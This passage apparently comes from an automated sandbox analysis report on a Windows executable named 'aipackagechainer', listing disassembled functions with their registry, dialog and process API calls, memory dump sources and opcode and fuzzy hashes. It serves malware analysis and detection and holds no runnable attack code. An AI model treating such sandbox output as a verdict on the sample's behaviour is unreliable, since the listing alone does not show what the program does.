                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$CurrentDestroyMessagePostThread
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3186974096-0
                                                                                                                                                                                                                                                  • Opcode ID: c8621e5a20163119c3b8cd47bfa98c85e2e5dd44e6deca4bffd89ebb856c360e
                                                                                                                                                                                                                                                  • Instruction ID: b8896946b8007c52cf56b42e4b3822c3579d20c3e7fd5f02acd216d52f0bbab3
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c8621e5a20163119c3b8cd47bfa98c85e2e5dd44e6deca4bffd89ebb856c360e
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 08F0E2710217509BDB349F28FE4CB16BFD46B49F00F02098DE48286990CBB0F882CB14
                                                                                                                                                                                                                                                  Function 0024C500 Relevance: 4.6, APIs: 3, Instructions: 86registryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • RegOpenKeyExA.KERNELBASE(80000001,?,00000000,00020019,?,4938EAB5), ref: 0024C540
                                                                                                                                                                                                                                                  • RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0024C57E
                                                                                                                                                                                                                                                  • RegOpenKeyExA.KERNELBASE(80000001,?,00000000,00020019,0000000C,?), ref: 0024C5CF
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Open$InfoQuery
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 223210943-0
                                                                                                                                                                                                                                                  • Opcode ID: c765e499d34a5e6d7359477c80424926096864b94f022f0b53430cbb7952f407
                                                                                                                                                                                                                                                  • Instruction ID: 4eeb568f51e81ae1c680ce02ecf492248d12262819b0caaac5557eab09023e03
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c765e499d34a5e6d7359477c80424926096864b94f022f0b53430cbb7952f407
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7B21C771A44209AFEB10CF98DC45F99FBB8FB04B10F20416AF915E72C0D7B16910CB91
                                                                                                                                                                                                                                                  Function 0024FF50 Relevance: 4.6, APIs: 3, Instructions: 71COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CoInitialize.OLE32(00000000), ref: 0024FF77
                                                                                                                                                                                                                                                  • EndDialog.USER32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,002A765D,000000FF), ref: 0024FFE0
                                                                                                                                                                                                                                                  • CoUninitialize.COMBASE(00000000,?,?,?,?,?,002A765D,000000FF), ref: 0024FFF0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: DialogInitializeUninitialize
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 112388368-0
                                                                                                                                                                                                                                                  • Opcode ID: 7bc239675cef3c67ab5f4560090a90f93167f464c43909917b68587bb497c9a5
                                                                                                                                                                                                                                                  • Instruction ID: a5dcea90eb410cbb84b81a0e38b0f96792e27a3d104f3d50d31acfb3420f3219
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7bc239675cef3c67ab5f4560090a90f93167f464c43909917b68587bb497c9a5
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7021D231B25211ABDB288F18D908F6EBBE8EF8AB10F06416AE905D77D0DB70DC048690
                                                                                                                                                                                                                                                  Function 0024FD70 Relevance: 4.5, APIs: 3, Instructions: 30windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,0000040B), ref: 0024FD7D
                                                                                                                                                                                                                                                  • SendMessageW.USER32(00000000,00000401,00000000,00000000), ref: 0024FD98
                                                                                                                                                                                                                                                  • SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 0024FDA8
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: MessageSend$Item
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3888421826-0
                                                                                                                                                                                                                                                  • Opcode ID: 12a8de107ac75a77140a1717bf35c163007b4527e6bf6866f77ab5c5215a5bb5
                                                                                                                                                                                                                                                  • Instruction ID: 4265f54892bb99bde9170a9ae2c169f2e929fa03e2e83a3a45c3185030df07bf
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 12a8de107ac75a77140a1717bf35c163007b4527e6bf6866f77ab5c5215a5bb5
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 35F06DB52403146FFB109F19AC4AFBA7BA8EB09711F118416FB10B62D0C7F658068BB8
                                                                                                                                                                                                                                                  Function 0028A721 Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,?,0028A71B,?,00281362,?,?,4938EAB5,00281362,?), ref: 0028A732
                                                                                                                                                                                                                                                  • TerminateProcess.KERNEL32(00000000,?,0028A71B,?,00281362,?,?,4938EAB5,00281362,?), ref: 0028A739
                                                                                                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0028A74B
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Process$CurrentExitTerminate
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1703294689-0
                                                                                                                                                                                                                                                  • Opcode ID: e09ccf49bb2c4590b5a9a8c641bebbbc030b6738b356f6f35e8f3de22b0ad8f1
                                                                                                                                                                                                                                                  • Instruction ID: 09789ddc207eb6f211832b153d80e0930a3f3d64e6cbf4367645ea98e089704c
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e09ccf49bb2c4590b5a9a8c641bebbbc030b6738b356f6f35e8f3de22b0ad8f1
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0CD05E31001104BFEF013F60EC0D94D7F36EF81341B450011B9085A071DF7698A7AB41
                                                                                                                                                                                                                                                  Function 00234610 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 138COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • _wcsrchr.LIBVCRUNTIME ref: 002346D1
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: HeapProcess_wcsrchr
                                                                                                                                                                                                                                                  • String ID: \\?\
                                                                                                                                                                                                                                                  • API String ID: 3185730412-4282027825
                                                                                                                                                                                                                                                  • Opcode ID: bca520a9c240588b5dd179d06ff4547b5956c82e7d9364b9327b9d3ad0710274
                                                                                                                                                                                                                                                  • Instruction ID: fd519fef31d6a75abc861bceee00b67dcce652707dbcc4f4466533808d10f48d
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: bca520a9c240588b5dd179d06ff4547b5956c82e7d9364b9327b9d3ad0710274
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9E41C170A11606DBDB04EF68C849BAEF7F9EF45324F248299E4219B291DB34AD14CF90
                                                                                                                                                                                                                                                  Function 00248500 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • SetWindowLongW.USER32(?,00000000,00000000), ref: 002485D1
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: LongWindow
                                                                                                                                                                                                                                                  • String ID: $
                                                                                                                                                                                                                                                  • API String ID: 1378638983-3993045852
                                                                                                                                                                                                                                                  • Opcode ID: 2fd6dafe261871f995095a13a0e2b4fef813c7f0db61e41888a2f3349c5a10ab
                                                                                                                                                                                                                                                  • Instruction ID: 40ecdb3e6a3a898a3bde4cb8855b943ebbe783d9c3507d9320b5eeef38959518
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2fd6dafe261871f995095a13a0e2b4fef813c7f0db61e41888a2f3349c5a10ab
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9F31C971128340DBCB58DF08C88472ABBF4BF89310F44855DF9458B295DBB1E964CF92
                                                                                                                                                                                                                                                  Function 00279866 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID: $w-
                                                                                                                                                                                                                                                  • API String ID: 697777088-3852764266
                                                                                                                                                                                                                                                  • Opcode ID: 79f8491cd14b89916669a3828da46fba304a6f7e7fc6bd0059c34fd81a54febc
                                                                                                                                                                                                                                                  • Instruction ID: c375b6b227abec2f2041377c47bfae39fc87075226ea78db176f56c4cd27ad48
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 79f8491cd14b89916669a3828da46fba304a6f7e7fc6bd0059c34fd81a54febc
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A3B012A137C200AD3104A1882D03C37018CC1D3F10330C51BF00DC1240F4A45CF20432
                                                                                                                                                                                                                                                  Function 00279870 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID: (w-
                                                                                                                                                                                                                                                  • API String ID: 697777088-3971906830
                                                                                                                                                                                                                                                  • Opcode ID: 06db29b854cf25e3554e1baaa0b4f2ec5d32378697bf1cee8f4c510924f179e5
                                                                                                                                                                                                                                                  • Instruction ID: eb417b4f8dbf1505420f7d6db2db0d9ebec09573f916aec87c35b8ebf4ee1716
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 06db29b854cf25e3554e1baaa0b4f2ec5d32378697bf1cee8f4c510924f179e5
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EAB0129127C300AD3104A1882C03C3B018CC1D2F10330C61BF00DC1240F4A45CF10432
                                                                                                                                                                                                                                                  Function 0027987A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID: ,w-
                                                                                                                                                                                                                                                  • API String ID: 697777088-3954693586
                                                                                                                                                                                                                                                  • Opcode ID: 076a01c7567dbe987de4972dcc6813104640dcac1df196d36eacacc020dd4aae
                                                                                                                                                                                                                                                  • Instruction ID: 7128d51644a2f2625c64e2d16982c80d65b6ff83dda080970acabe57b141be44
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 076a01c7567dbe987de4972dcc6813104640dcac1df196d36eacacc020dd4aae
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: CFB0129127C200AD3204A1982C03C37014CC1E2F50330C51BF40DC1240F4A45CF10432
                                                                                                                                                                                                                                                  Function 00279884 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID: 0w-
                                                                                                                                                                                                                                                  • API String ID: 697777088-4270559174
                                                                                                                                                                                                                                                  • Opcode ID: 8c0f75916a91a348209b930f67ea5c7f900186f5c441293469bf37afc9d0b883
                                                                                                                                                                                                                                                  • Instruction ID: 1e9ffc3004aa0507e3b892e99be0f37562ee369b995e446995cca832f653d9d7
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8c0f75916a91a348209b930f67ea5c7f900186f5c441293469bf37afc9d0b883
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 47B012912BD200AD3104A1882C03C37010CC5C2F10330C51BF00DC1240F4A45CF14432
                                                                                                                                                                                                                                                  Function 0024C671 Relevance: 3.3, APIs: 2, Instructions: 267registryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • RegEnumValueA.KERNELBASE(?,?,?,?,00000000,?,00000000,?,4938EAB5), ref: 0024C70E
                                                                                                                                                                                                                                                  • RegEnumValueA.ADVAPI32(?,?,?,?,00000000,?,?,?,?), ref: 0024C73A
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                    • Part of subcall function 0021C3E0: FindResourceW.KERNEL32(00000000,?,00000006,00000000,?,?,?,00246B79,?), ref: 0021C41D
                                                                                                                                                                                                                                                    • Part of subcall function 0021C3E0: WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,00000000,00000000,00000000,00000000,00000000,?,?,00246B79,?), ref: 0021C44E
                                                                                                                                                                                                                                                    • Part of subcall function 0021C3E0: WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,?,?,00000000,00000000,00000000,?,?,00246B79,?), ref: 0021C485
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ByteCharEnumMultiValueWide$FindHeapProcessResource
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 4070800961-0
                                                                                                                                                                                                                                                  • Opcode ID: f564968099b32d7457255538f2164966c60d9f78e08d6b067058ad7b91c3f032
                                                                                                                                                                                                                                                  • Instruction ID: 5551e015d8a14b4c006906b0d117919fe0acbbf977390e6dfd0c4a61aa5fefed
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f564968099b32d7457255538f2164966c60d9f78e08d6b067058ad7b91c3f032
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3DA17F71901149DFDB05DFA8C884BAEBBB9FF49310F248169E915EB291DB349E04CFA1
                                                                                                                                                                                                                                                  Function 00258350 Relevance: 3.2, APIs: 2, Instructions: 157COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • IsWindow.USER32(00000000), ref: 002583A2
                                                                                                                                                                                                                                                  • EndDialog.USER32(00000000,00000001), ref: 002583B1
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: DialogWindow
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2634769047-0
                                                                                                                                                                                                                                                  • Opcode ID: b872855bfd7bd55a63ff83a8fe9b312449d94c3607ca8ecf05e697dd801b4ef2
                                                                                                                                                                                                                                                  • Instruction ID: 8d2b46179def8d5c40fcf01e850b8de8225dc68c78e1413082420ec965cd1cad
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b872855bfd7bd55a63ff83a8fe9b312449d94c3607ca8ecf05e697dd801b4ef2
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6A617B7090174ADFD711CF68C948B5AFBF4FF49314F148299D849EB291DBB49A04CB91
                                                                                                                                                                                                                                                  Function 00248140 Relevance: 3.1, APIs: 2, Instructions: 65COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • EnableWindow.USER32(?,00000000), ref: 002481B1
                                                                                                                                                                                                                                                    • Part of subcall function 00257990: SendMessageW.USER32(?,00000080,00000001,00000000), ref: 002579D4
                                                                                                                                                                                                                                                    • Part of subcall function 00257990: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 002579DF
